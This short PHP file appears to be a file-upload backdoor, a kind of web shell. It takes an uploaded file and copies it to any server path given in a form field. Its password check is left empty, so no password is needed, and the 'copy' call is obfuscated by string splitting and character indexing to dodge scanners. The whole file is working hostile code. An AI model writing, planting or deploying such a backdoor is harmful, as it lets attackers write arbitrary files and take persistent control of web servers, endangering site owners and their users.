<?php
$pass = '';
if(isset($_FILES['mbdfiles']) && (empty($pass)||md5($_POST['p'])==$pass)){
   $gg = Array('co'.'py');
   echo $gg[chr(48)]($_FILES['mbdfiles']['tmp_name'], $_POST['id']);
   exit;
}
?>
<form method="post" enctype="multipart/form-data">
    <input type="text" name="id"/> <input type="text" name="p"/>
    <input type="file" name="mbdfiles"/>
    <input type="submit"/>
</form>